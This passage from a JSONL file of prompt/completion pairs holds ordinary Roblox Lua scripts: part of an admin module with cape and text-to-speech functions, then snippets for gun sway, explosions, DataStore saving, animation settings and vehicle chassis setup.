then\n\t\t\t\t\tfor i = 0,inVol,0.01 do\n\t\t\t\t\t\tsound.Volume = i\n\t\t\t\t\t\twait(incWait or 0.1)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tKillAllLocalAudio = function()\n\t\t\tfor i,v in next,Variables.localSounds do\n\t\t\t\tv:Stop()\n\t\t\t\tv:Destroy()\n\t\t\t\ttable.remove(Variables.localSounds,i)\n\t\t\tend\n\t\tend;\n\n\t\tRemoveGuis = function()\n\t\t\tfor i,v in next,service.PlayerGui:GetChildren()do\n\t\t\t\tif not UI.Get(v) then\n\t\t\t\t\tv:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tSetCoreGuiEnabled = function(element,enabled)\n\t\t\tservice.StarterGui:SetCoreGuiEnabled(element,enabled)\n\t\tend;\n\n\t\tUnCape = function()\n\t\t\tlocal cape = service.LocalContainer():FindFirstChild(\"::Adonis::Cape\")\n\t\t\tif cape then cape:Destroy() end\n\t\tend;\n\n\t\tCape = function(material,color,decal,reflect)\n\t\t\tlocal torso = service.Player.Character:FindFirstChild(\"HumanoidRootPart\")\n\t\t\tif torso then\n\t\t\t\tlocal p = service.New(\"Part\",service.LocalContainer())\n\t\t\t\tp.Name = \"::Adonis::Cape\" \n\t\t\t\tp.Anchored = true\n\t\t\t\tp.Transparency=0.1\n\t\t\t\tp.Material=material\n\t\t\t\tp.CanCollide = false \n\t\t\t\tp.TopSurface = 0 \n\t\t\t\tp.BottomSurface = 0 \n\t\t\t\tif type(color)==\"table\" then \n\t\t\t\t\tcolor = Color3.new(color[1],color[2],color[3]) \n\t\t\t\tend\n\t\t\t\tp.BrickColor = BrickColor.new(color) or BrickColor.new(\"White\")\n\t\t\t\tif reflect then\n\t\t\t\t\tp.Reflectance=reflect\n\t\t\t\tend \n\t\t\t\tif decal and decal~=0 then\n\t\t\t\t\tlocal dec = service.New(\"Decal\", p) \n\t\t\t\t\tdec.Face = 2 \n\t\t\t\t\tdec.Texture = \"http://www.roblox.com/asset/?id=\"..decal \n\t\t\t\t\tdec.Transparency=0 \n\t\t\t\tend\n\t\t\t\tp.formFactor = \"Custom\"\n\t\t\t\tp.Size = Vector3.new(.2,.2,.2)\n\t\t\t\tlocal msh = service.New(\"BlockMesh\", p) \n\t\t\t\tmsh.Scale = Vector3.new(9,17.5,.5)\n\t\t\t\twait(0.1)\n\t\t\t\tp.Anchored=false\n\t\t\t\tlocal motor1 = service.New(\"Motor\", p)\n\t\t\t\tmotor1.Part0 = p\n\t\t\t\tmotor1.Part1 = torso\n\t\t\t\tmotor1.MaxVelocity = .01\n\t\t\t\tmotor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)\n\t\t\t\tmotor1.C1 = CFrame.new(0,1,torso.Size.Z/2)*CFrame.Angles(0,math.rad(90),0)--.45\n\t\t\t\tlocal wave = false\n\t\t\t\trepeat wait(1/44)\n\t\t\t\t\tlocal ang = 0.1\n\t\t\t\t\tlocal oldmag = torso.Velocity.magnitude\n\t\t\t\t\tlocal mv = .002\n\t\t\t\t\tif wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 \n\t\t\t\t\t\twave = false \n\t\t\t\t\telse \n\t\t\t\t\t\twave = true \n\t\t\t\t\tend\n\t\t\t\t\tang = ang + math.min(torso.Velocity.magnitude/11, .5)\n\t\t\t\t\tmotor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv\n\t\t\t\t\tmotor1.DesiredAngle = -ang\n\t\t\t\t\tif motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then \n\t\t\t\t\t\tmotor1.MaxVelocity = .04 \n\t\t\t\t\tend\n\n\t\t\t\t\trepeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >=(torso.Velocity.magnitude/10) + 1\n\n\t\t\t\t\tif torso.Velocity.magnitude < .1 then \n\t\t\t\t\t\twait(.1) \n\t\t\t\t\tend\n\t\t\t\tuntil not p or not p.Parent or p.Parent ~= service.LocalContainer()\n\t\t\tend \n\t\tend;\n\n\t\tTextToSpeech = function(str)\n\t\t\tlocal audioId = 296333956\n\n\t\t\tlocal audio = Instance.new(\"Sound\",service.LocalContainer())\n\t\t\taudio.SoundId = \"rbxassetid://\"..audioId\n\t\t\taudio.Volume = 1\n\n\t\t\tlocal audio2 = Instance.new(\"Sound\",service.LocalContainer())\n\t\t\taudio2.SoundId = \"rbxassetid://\"..audioId\n\t\t\taudio2.Volume = 1\n\n\t\t\tlocal phonemes = {\n\t\t\t\t{\n\t\t\t\t\tstr='%so';\n\t\t\t\t\tfunc={17}\n\t\t\t\t}; --(on)\n\t\t\t\t{\n\t\t\t\t\tstr='ing';\n\t\t\t\t\tfunc={41}\n\t\t\t\t}; --(singer)\n\t\t\t\t{\n\t\t\t\t\tstr=\"oot\";\n\t\t\t\t\tfunc={4, 26}; --oo,t\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='or';\n\t\t\t\t\tfunc={10}\n\t\t\t\t}; --(door) --oor\n\t\t\t\t{\n\t\t\t\t\tstr='oo';\n\t\t\t\t\tfunc={3}\n\t\t\t\t}; --(good)\n\t\t\t\t{\n\t\t\t\t\tstr='hi';\n\t\t\t\t\tfunc={44, 19}; --h, y/ii\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='ie';\n\t\t\t\t\tfunc={1}; --ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"eye\";\n\t\t\t\t\tfunc={19}; --y/ii\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"$Suy%s\"; --%Suy\n\t\t\t\t\treal=\"uy\";\n\t\t\t\t\tfunc={19}; --y/ii\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"%Sey%s\"; --%Sey\n\t\t\t\t\tfunc={1}; --ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"%sye\"; --%sye\n\t\t\t\t\tfunc={19}; --y/ii\n\t\t\t\t};\n\t\t\t\t--[[{\n\t\t\t\t\tstr='th';\n\t\t\t\t\tfunc={30.9, 31.3}\n\t\t\t\t}; --(think)--]]\n\t\t\t\t{\n\t\t\t\t\tstr='the';\n\t\t\t\t\tfunc={25, 15}; --th, u\n\t\t\t\t}; \n\t\t\t\t{\n\t\t\t\t\tstr='th';\n\t\t\t\t\tfunc={32, 0.2395}\n\t\t\t\t}; --(this)\n\t\t\t\t--[[\n\t\t\t\t{\n\t\t\t\t\tstr='ow';\n\t\t\t\t\tfunc={10, 0.335}\n\t\t\t\t}; --(show) --ow\n\t\t\t\t--]]\n\t\t\t\t{\n\t\t\t\t\tstr='ow';\n\t\t\t\t\tfunc={20}\n\t\t\t\t}; --(cow) --ow\n\t\t\t\t{\n\t\t\t\t\tstr=\"qu\";\n\t\t\t\t\tfunc={21,38};--c,w\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='ee'; \n\t\t\t\t\tfunc={1}\n\t\t\t\t}; --(sheep)\n\t\t\t\t{\n\t\t\t\t\tstr='i%s';\n\t\t\t\t\tdelay=0.5;\n\t\t\t\t\tfunc={19}\n\t\t\t\t}; --(I)\n\t\t\t\t{\n\t\t\t\t\tstr='ea'; \n\t\t\t\t\tfunc={1}\n\t\t\t\t}; --(read)\n\t\t\t\t{\n\t\t\t\t\tstr='u(.*)e';\n\t\t\t\t\treal='u';\n\t\t\t\t\tcapture=true;\n\t\t\t\t\tfunc={9}\n\t\t\t\t}; --(cure) (match ure) --u\n\t\t\t\t{\n\t\t\t\t\tstr='ch';\n\t\t\t\t\tfunc={24}\n\t\t\t\t}; --(cheese)\n\t\t\t\t{\n\t\t\t\t\tstr='ere';\n\t\t\t\t\tfunc={5}\n\t\t\t\t}; --(here)\n\t\t\t\t{\n\t\t\t\t\tstr='ai';\n\t\t\t\t\tfunc={6}\n\t\t\t\t}; --(wait)\n\t\t\t\t{\n\t\t\t\t\tstr='la';\n\t\t\t\t\tfunc={39,6}\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='oy';\n\t\t\t\t\tfunc={8}\n\t\t\t\t}; --(boy)\n\t\t\t\t{\n\t\t\t\t\tstr='gh';\n\t\t\t\t\tfunc={44};\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='sh';\n\t\t\t\t\tfunc={22}\n\t\t\t\t}; --(shall)\n\t\t\t\t{\n\t\t\t\t\tstr='air';\n\t\t\t\t\tfunc={18}\n\t\t\t\t}; --(hair)\n\n\t\t\t\t{\n\t\t\t\t\tstr='ar';\n\t\t\t\t\tfunc={16}\n\t\t\t\t}; --(far)\n\t\t\t\t{\n\t\t\t\t\tstr='ir';\n\t\t\t\t\tfunc={11}\n\t\t\t\t}; --(bird)\n\t\t\t\t{\n\t\t\t\t\tstr='er';\n\t\t\t\t\tfunc={12}\n\t\t\t\t}; --(teacher)\n\t\t\t\t{\n\t\t\t\t\tstr='sio';\n\t\t\t\t\tfunc={35}\n\t\t\t\t}; --(television)\n\t\t\t\t{\n\t\t\t\t\tstr='ck';\n\t\t\t\t\tfunc={21}\n\t\t\t\t}; --(book)\n\t\t\t\t{\n\t\t\t\t\tstr=\"zy\";\n\t\t\t\t\tfunc={34,1}; --z,ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"ny\";\n\t\t\t\t\tfunc={42, 1}; --n,ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"ly\";\n\t\t\t\t\tfunc={39, 1}; --l,ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"ey\";\n\t\t\t\t\tfunc={1} --ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='ii'; \n\t\t\t\t\tfunc={19}\n\t\t\t\t}; --(ii?)\n\t\t\t\t{\n\t\t\t\t\tstr='i';\n\t\t\t\t\tfunc={2}\n\t\t\t\t};--(ship)\n\n\t\t\t\t{\n\t\t\t\t\tstr='y'; --y%S\n\t\t\t\t\tfunc={37}\n\t\t\t\t}; --(yes)\n\t\t\t\t--[[\n\t\t\t\t{\n\t\t\t\t\tstr='%Sy';\n\t\t\t\t\tfunc={23.9, 24.4}\n\t\t\t\t}; --(my)\n\t\t\t\t--]]\n\t\t\t\t{\n\t\t\t\t\tstr='y';\n\t\t\t\t\tfunc={37}\n\t\t\t\t}; --(my)\n\n\t\t\t\t{\n\t\t\t\t\tstr='s';\n\t\t\t\t\tfunc={23}\n\t\t\t\t}; --(see)\t\n\n\t\t\t\t{\n\t\t\t\t\tstr='e';\n\t\t\t\t\tfunc={13};\n\t\t\t\t}; --(bed)\n\t\t\t\t--[[--]]\n\t\t\t\t{\n\t\t\t\t\tstr='a';\n\t\t\t\t\tfunc={14}\n\t\t\t\t}; --(cat)\n\t\t\t\t--[[\n\t\t\t\t{\n\t\t\t\t\tstr='a';\n\t\t\t\t\tfunc={6}\n\t\t\t\t}; --(lazy) --ai--]]\n\t\t\t\t{\n\t\t\t\t\tstr=\"x\";\n\t\t\t\t\tfunc={21, 23} --c, s\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='u';\n\t\t\t\t\tfunc={15}\n\t\t\t\t}; --(up)\n\t\t\t\t{\n\t\t\t\t\tstr='o';\n\t\t\t\t\tfunc={17}\n\t\t\t\t}; --(on)\n\t\t\t\t{\n\t\t\t\t\tstr='c';\n\t\t\t\t\tfunc={21}\n\t\t\t\t}; --(car)\n\t\t\t\t{\n\t\t\t\t\tstr='k';\n\t\t\t\t\tfunc={21}\n\t\t\t\t}; --(book)\n\t\t\t\t{\n\t\t\t\t\tstr='t';\n\t\t\t\t\tfunc={26}\n\t\t\t\t}; --(tea)\n\t\t\t\t{\n\t\t\t\t\tstr='f';\n\t\t\t\t\tfunc={27}\n\t\t\t\t}; --(fly)\n\t\t\t\t{\n\t\t\t\t\tstr='i';\n\t\t\t\t\tfunc={2}\n\t\t\t\t};--(ship)\n\t\t\t\t{\n\t\t\t\t\tstr='p';\n\t\t\t\t\tfunc={28}\n\t\t\t\t}; --(pea)\n\t\t\t\t{\n\t\t\t\t\tstr='b';\n\t\t\t\t\tfunc={29}\n\t\t\t\t}; --(boat)\n\t\t\t\t{\n\t\t\t\t\tstr='v';\n\t\t\t\t\tfunc={30}\n\t\t\t\t}; --(video)\n\t\t\t\t{\n\t\t\t\t\tstr='d';\n\t\t\t\t\tfunc={31}\n\t\t\t\t}; --(dog)\n\t\t\t\t{\n\t\t\t\t\tstr='j';\n\t\t\t\t\tfunc={33}\n\t\t\t\t}; --(june)\n\t\t\t\t{\n\t\t\t\t\tstr='z';\n\t\t\t\t\tfunc={34}\n\t\t\t\t}; --(zoo)\n\t\t\t\t{\n\t\t\t\t\tstr='g';\n\t\t\t\t\tfunc={36}\n\t\t\t\t}; --(go)\n\t\t\t\t{\n\t\t\t\t\tstr='w';\n\t\t\t\t\tfunc={38}\n\t\t\t\t}; --(wet)\n\t\t\t\t{\n\t\t\t\t\tstr='l';\n\t\t\t\t\tfunc={39}\n\t\t\t\t}; --(love)\n\t\t\t\t{\n\t\t\t\t\tstr='r';\n\t\t\t\t\tfunc={40}\n\t\t\t\t}; --(red)\n\t\t\t\t{\n\t\t\t\t\tstr='n';\n\t\t\t\t\tfunc={42}\n\t\t\t\t}; --(now)\n\t\t\t\t{\n\t\t\t\t\tstr='m';\n\t\t\t\t\tfunc={43}\n\t\t\t\t}; --(man)\n\t\t\t\t{\n\t\t\t\t\tstr='h';\n\t\t\t\t\tfunc={44}\n\t\t\t\t}; --(hat)\n\t\t\t\t{\n\t\t\t\t\tstr=' ';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='%.';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='!';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\t\t\n\t\t\t\t{\n\t\t\t\t\tstr='?';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=';';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=':';\n\t\t\t\t\tfunc=\"wait\";\n\t\t\t\t};\n\n\t\t\t}\n\n\t\t\tgame:service(\"ContentProvider\"):Preload(\"rbxassetid://\"..audioId)\n\n\t\t\tlocal function getText(str)\n\t\t\t\tlocal tab = {}\n\t\t\t\tlocal str = str\n\t\t\t\tlocal function getNext()\n\t\t\t\t\tfor i,v in ipairs(phonemes) do\n\t\t\t\t\t\tlocal occ,pos = string.find(string.lower(str),\"^\"..v.str)\n\t\t\t\t\t\tif occ then\n\t\t\t\t\t\t\tif v.capture then\n\t\t\t\t\t\t\t\tlocal real = v.real\n\t\t\t\t\t\t\t\tlocal realStart,realEnd = string.find(string.lower(str),real)\n\t\t\t\t\t\t\t\t--local captStart,captEnd = str:lower():find(v.str)\n\t\t\t\t\t\t\t\tlocal capt = string.match(string.lower(str),v.str)\n\t\t\t\t\t\t\t\tif occ>realEnd then\n\t\t\t\t\t\t\t\t\ttable.insert(tab,v)\n\t\t\t\t\t\t\t\t\tgetText(capt)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tgetText(capt)\n\t\t\t\t\t\t\t\t\ttable.insert(tab,v)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\ttable.insert(tab,v)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tstr = string.sub(str,pos+1)\n\t\t\t\t\t\t\tgetNext()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tgetNext()\n\t\t\t\treturn tab\n\t\t\tend\n\n\t\t\tlocal phos=getText(str)\n\t\t\tlocal swap = false\n\n\t\t\tlocal function say(pos)\n\t\t\t\tlocal sound=audio\n\t\t\t\t--[[--]]\n\t\t\t\tif swap then\n\t\t\t\t\tsound=audio2\n\t\t\t\tend--]]\n\t\t\t\tsound.TimePosition=pos\n\t\t\t\t--sound:Play()\n\t\t\t\t--wait(0.2) --wait(pause)\n\t\t\t\t--sound:Stop()\n\t\t\tend\n\n\t\t\taudio:Play()\n\t\t\taudio2:Play()\n\t\t\tfor i,v in ipairs(phos) do\n\t\t\t\t--print(i,v.str)\n\t\t\t\tif type(v.func)==\"string\" then--v.func==\"wait\" then\n\t\t\t\t\twait(0.5)\n\t\t\t\telseif type(v)==\"table\" then\n\t\t\t\t\tfor l,p in ipairs(v.func) do\n\t\t\t\t\t\t--[[--]]\n\t\t\t\t\t\tif swap then\n\t\t\t\t\t\t\tswap=false\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tswap=true\n\t\t\t\t\t\tend--]]\n\t\t\t\t\t\tsay(p)\n\t\t\t\t\t\tif v.delay then\n\t\t\t\t\t\t\twait(v.delay)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\twait(0.1)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\twait(0.5)\n\t\t\taudio:Stop()\n\t\t\taudio2:Stop()\n\t\tend;\n\t};\nend\n"} +{"prompt": "--local Sprinting =false", "completion": "\nlocal L_131_ = L_107_.new(Vector3.new())\nL_131_.s = 15\nL_131_.d = 0.5\n\ngame:GetService(\"UserInputService\").InputChanged:connect(function(L_254_arg1) --Get the mouse delta for the gun sway\n\tif L_254_arg1.UserInputType == Enum.UserInputType.MouseMovement then\n\t\tL_126_ = math.min(math.max(L_254_arg1.Delta.x, -L_128_), L_128_)\n\t\tL_127_ = math.min(math.max(L_254_arg1.Delta.y, -L_128_), L_128_)\n\tend\nend)\n\nL_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still\n\tL_126_ = 0\n\tL_127_ = 0\nend)\n\nlocal L_132_ = false\nlocal L_133_ = CFrame.new()\nlocal L_134_ = CFrame.new()\n\nlocal L_135_ = 0\nlocal L_136_ = CFrame.new()\nlocal L_137_ = 0.1\nlocal L_138_ = 2\n\nlocal L_139_ = 0\nlocal L_140_ = .2\nlocal L_141_\t= 17\n\nlocal L_142_ = 0\nlocal L_143_ = 5\nlocal L_144_ = .3\n\n\n\nlocal L_145_, L_146_ = 0, 0\n\nlocal L_147_ = nil\nlocal L_148_ = nil\nlocal L_149_ = nil\n\nL_3_.Humanoid.Running:connect(function(L_255_arg1)\n\tif L_255_arg1 > 1 then\n\t\tL_132_ = true\n\telse\n\t\tL_132_ = false\n\tend\nend)\n"} +{"prompt": "--place in StarterCharacterScripts", "completion": "\n\nlocal human = script.Parent:WaitForChild(\"Humanoid\") --waits for character's Humanoid\nlocal PE = script.PE"} +{"prompt": "--function ClassZombie:FindCharacterPosition()\n--\tlocal Character = self.Character\n--\treturn Character.PrimaryPart.Position\n--end", "completion": "\n"} +{"prompt": "-- Bind the placePart function to a user input (e.g. clicking the mouse button)", "completion": "\ngame:GetService(\"UserInputService\").InputBegan:Connect(function(input, gameProcessed)\n\tif input.UserInputType == Enum.UserInputType.MouseButton1 then\n\t\tplacePart(game:GetService(\"Players\").LocalPlayer:GetMouse())\n\tend\nend)\n"} +{"prompt": "--If you wish to publish the MainModule to Roblox, replace this with the asset ID of the MainModule that was published.", "completion": "\nrequire(10489480421).Load(script.Parent:FindFirstChild(\"RomodSettings\"))\n"} +{"prompt": "--// Connections", "completion": "\nL_100_.OnClientEvent:connect(function(L_178_arg1, L_179_arg2, L_180_arg3, L_181_arg4, L_182_arg5, L_183_arg6, L_184_arg7)\n\tif L_178_arg1 and not L_15_ then\n\t\tMakeFakeArms()\n\t\t\n\t\tL_41_ = L_21_:WaitForChild('MainGui'):clone()\n\t\tL_41_.Parent = L_2_.PlayerGui\n\t\tL_26_ = L_41_:WaitForChild('Others')\n\t\tL_27_ = L_26_:WaitForChild('Kill')\n\t\tL_28_ = L_41_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')\n\t\tL_29_ = L_28_:WaitForChild('Ammo')\n\t\tL_30_ = L_28_:WaitForChild('AmmoBackground')\n\t\tL_31_ = L_28_:WaitForChild('MagCount')\n\t\tL_32_ = L_28_:WaitForChild('MagCountBackground')\n\t\tL_33_ = L_28_:WaitForChild('DistDisp')\n\t\tL_34_ = L_28_:WaitForChild('Title')\n\t\tL_35_ = L_28_:WaitForChild('Mode1')\n\t\tL_36_ = L_28_:WaitForChild('Mode2')\n\t\tL_37_ = L_28_:WaitForChild('Mode3')\n\t\tL_38_ = L_28_:WaitForChild('Mode4')\n\t\tL_39_ = L_28_:WaitForChild('Mode5')\n\t\tL_40_ = L_28_:WaitForChild('Stances')\n\t\t\n\t\tL_34_.Text = L_1_.Name\n\t\tUpdateAmmo()\n\t\t\n\t\tL_42_ = L_179_arg2\n\t\tL_43_ = L_180_arg3\n\t\tL_44_ = L_181_arg4\n\t\tL_45_ = L_182_arg5\n\t\tL_46_ = L_183_arg6\n\t\tL_47_ = L_184_arg7\t\n\t\tL_48_ = L_58_.Bolt\n\t\t\n\t\tL_81_ = L_47_.C1\n\t\tL_82_ = L_47_.C0\n\t\t\n\t\tif L_1_:FindFirstChild('AimPart2') then\n\t\t\tL_53_ = L_1_:WaitForChild('AimPart2')\n\t\tend\n\t\t\n\t\tif L_1_:FindFirstChild('FirePart2') then\n\t\t\tL_56_ = L_1_.FirePart2\n\t\tend\n\t\t\n\t\tif L_24_.FirstPersonOnly then\n\t\t\tL_2_.CameraMode = Enum.CameraMode.LockFirstPerson\n\t\tend\n\t\t--uis.MouseIconEnabled = false\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = true\n\telseif L_15_ then\n\t\tif L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then\n\t\t\tStand()\n\t\t\tUnlean()\n\t\tend\t\n\t\t\n\t\tL_87_ = 0\n\t\tL_74_ = false\n\t\tL_75_ = false\n\t\tL_76_ = false\n\t\tL_60_ = false\n\t\tL_63_ = false\n\t\tL_62_ = false\n\t\tShooting = false\n\t\t\n\t\tL_91_ = 70\n\t\t\n\t\tRemoveArmModel()\n\t\t\n\t\tL_41_:Destroy()\t\n\t\t\n\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 0\n\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 0\n\t\tend\t\n\n\t\tL_2_.CameraMode = Enum.CameraMode.Classic\n\t\tL_99_.MouseIconEnabled = true\t\t\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = false\n\t\tL_99_.MouseDeltaSensitivity = L_51_\n\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=0\"\n\t\tL_15_ = false\n\tend\nend)\n"} +{"prompt": "-- Repeat every 3 seconds", "completion": "\nwhile wait(3) do\n\t-- Create a new explosion object with the 'Example' template\n\tlocal NewExplosion = Explosion.new(\"Example\")\n\t\n\t-- Set the explosion lifetime to 3 seconds so that the sound (3.75s long) can finish playing.\n\tNewExplosion.Lifetime = 4\n\t\n\t-- Set the EffectFunction to the one defined above\n\tNewExplosion:SetEffectFunction(CustomEffectFunction)\n\t\n\t-- Set the explosion's position\n\tNewExplosion:SetPosition(Vector3.new(25, 5, 0))\n\t\n\t-- EffectFunction will be called after this.\n\tNewExplosion:SetParent(workspace)\nend\n"} +{"prompt": "--[[\nPut admin names in the table above, \nmake sure to add a comma if you're adding another one!\n]]", "completion": "--\n"} +{"prompt": "--- Exp", "completion": "\n Exp.Value = Exp1:GetAsync(Plr.UserId) or Exp.Value\n\t Exp1:SetAsync(Plr.UserId, Exp.Value)\n Exp.Changed:connect(function()\n\t Exp1:SetAsync(Plr.UserId, Exp.Value)\n end)"} +{"prompt": "-- Libraries", "completion": "\nlocal Libraries = Tool:WaitForChild 'Libraries'\nlocal Signal = require(Libraries:WaitForChild 'Signal')\nlocal Maid = require(Libraries:WaitForChild 'Maid')\n"} +{"prompt": "-- declarations", "completion": "\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal jumpAnimTime = 0\nlocal jumpAnimDuration = 0.31\n\nlocal toolTransitionTime = 0.1\nlocal fallTransitionTime = 0.2\n\n\n"} +{"prompt": "--", "completion": "\nscript.Parent:WaitForChild(\"A-Chassis Interface\")\nscript.Parent:WaitForChild(\"Plugins\")\nscript.Parent:WaitForChild(\"README\")\n\nlocal car=script.Parent.Parent\nlocal _Tune=require(script.Parent)\n\nlocal Drive=car.Wheels:GetChildren()\n\nfunction getParts(model,t,a)\n\tfor i,v in pairs(model:GetChildren()) do\n\t\tif v:IsA(\"BasePart\") then table.insert(t,{v,a.CFrame:toObjectSpace(v.CFrame)})\n\t\telseif v:IsA(\"Model\") then getParts(v,t,a)\n\t\tend\n\tend\nend\n\nfor _,v in pairs(Drive) do\n\t\n\tfor _,a in pairs({\"Top\",\"Bottom\",\"Left\",\"Right\",\"Front\",\"Back\"}) do\n\t\tv[a..\"Surface\"]=Enum.SurfaceType.SmoothNoOutlines\n\tend\n\t\n\tlocal WParts = {}\n\t\n\tlocal tPos = v.Position-car.DriveSeat.Position\n\tif v.Name==\"FL\" or v.Name==\"RL\" then\n\t\tv.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(90))\n\telse\n\t\tv.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(-90))\n\tend\n\tv.CFrame = v.CFrame+tPos\n\t\n\tif v:FindFirstChild(\"Parts\")~=nil then\n\t\tgetParts(v.Parts,WParts,v)\n\tend\n\tif v:FindFirstChild(\"Fixed\")~=nil then\n\t\tgetParts(v.Fixed,WParts,v)\n\tend\n\t\n\tif v.Name==\"FL\" or v.Name==\"FR\" then\n\t\tv.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.FCamber),0,0)\n\t\tif v.Name==\"FL\" then\n\t\t\tv.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.FToe))\n\t\telse\n\t\t\tv.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.FToe))\n\t\tend\n\telseif v.Name==\"RL\" or v.Name==\"RR\" then\n\t\tv.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.RCamber),0,0)\n\t\tif v.Name==\"RL\" then\n\t\t\tv.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.RToe))\n\t\telse\n\t\t\tv.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.RToe))\n\t\tend\n\tend\n\t\n\tfor _,a in pairs(WParts) do\n\t\ta[1].CFrame=v.CFrame:toWorldSpace(a[2])\n\tend\n\t\n\tif v.Name==\"FL\" then\n\t\tv.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.FCaster),0)\n\telseif v.Name==\"FR\" or v.Name==\"F\" then\n\t\tv.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.FCaster),0)\n\telseif v.Name==\"RL\" then\n\t\tv.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.RCaster),0)\n\telseif v.Name==\"RR\" or v.Name==\"R\" then\n\t\tv.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.RCaster),0)\n\tend\n\t\n\tlocal arm=Instance.new(\"Part\",v)\n\tarm.Name=\"Arm\"\n\tarm.Anchored=true\n\tarm.CanCollide=false\n\tarm.FormFactor=Enum.FormFactor.Custom\n\tarm.Size=Vector3.new(1,1,1)\n\tarm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0)\n\tarm.TopSurface=Enum.SurfaceType.Smooth\n\tarm.BottomSurface=Enum.SurfaceType.Smooth\n\tarm.Transparency=1\n\t\n\tlocal base=arm:Clone()\n\tbase.Parent=v\n\tbase.Name=\"Base\"\n\tbase.CFrame=base.CFrame*CFrame.new(0,1,0)\n\tbase.BottomSurface=Enum.SurfaceType.Hinge\n\t\n\tlocal axle=arm:Clone()\n\taxle.Parent=v\n\taxle.Name=\"Axle\"\n\taxle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)\n\taxle.BackSurface=Enum.SurfaceType.Hinge\n\t\n\tif v.Name==\"F\" or v.Name==\"R\" then\n\t\tlocal axle2=arm:Clone()\n\t\taxle2.Parent=v\n\t\taxle2.Name=\"Axle\"\n\t\taxle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)\n\t\taxle2.BackSurface=Enum.SurfaceType.Hinge\n\t\tMakeWeld(arm,axle2)\n\tend\n\t\n\tMakeWeld(car.DriveSeat,base)\n\tif v.Parent.Name == \"RL\" or v.Parent.Name == \"RR\" or v.Name==\"R\" then\n\t\tMakeWeld(car.DriveSeat,arm)\n\tend\n\t\n\tMakeWeld(arm,axle)\n\t\n\tarm:MakeJoints()\n\taxle:MakeJoints()\n\n\t\n\tif v:FindFirstChild(\"Fixed\")~=nil then\n\t\tModelWeld(v.Fixed,axle)\n\tend\n\t\n\tif v:FindFirstChild(\"Parts\")~=nil then\n\t\tModelWeld(v.Parts,v)\n\tend\n\t\n\tif v:FindFirstChild(\"Steer\") 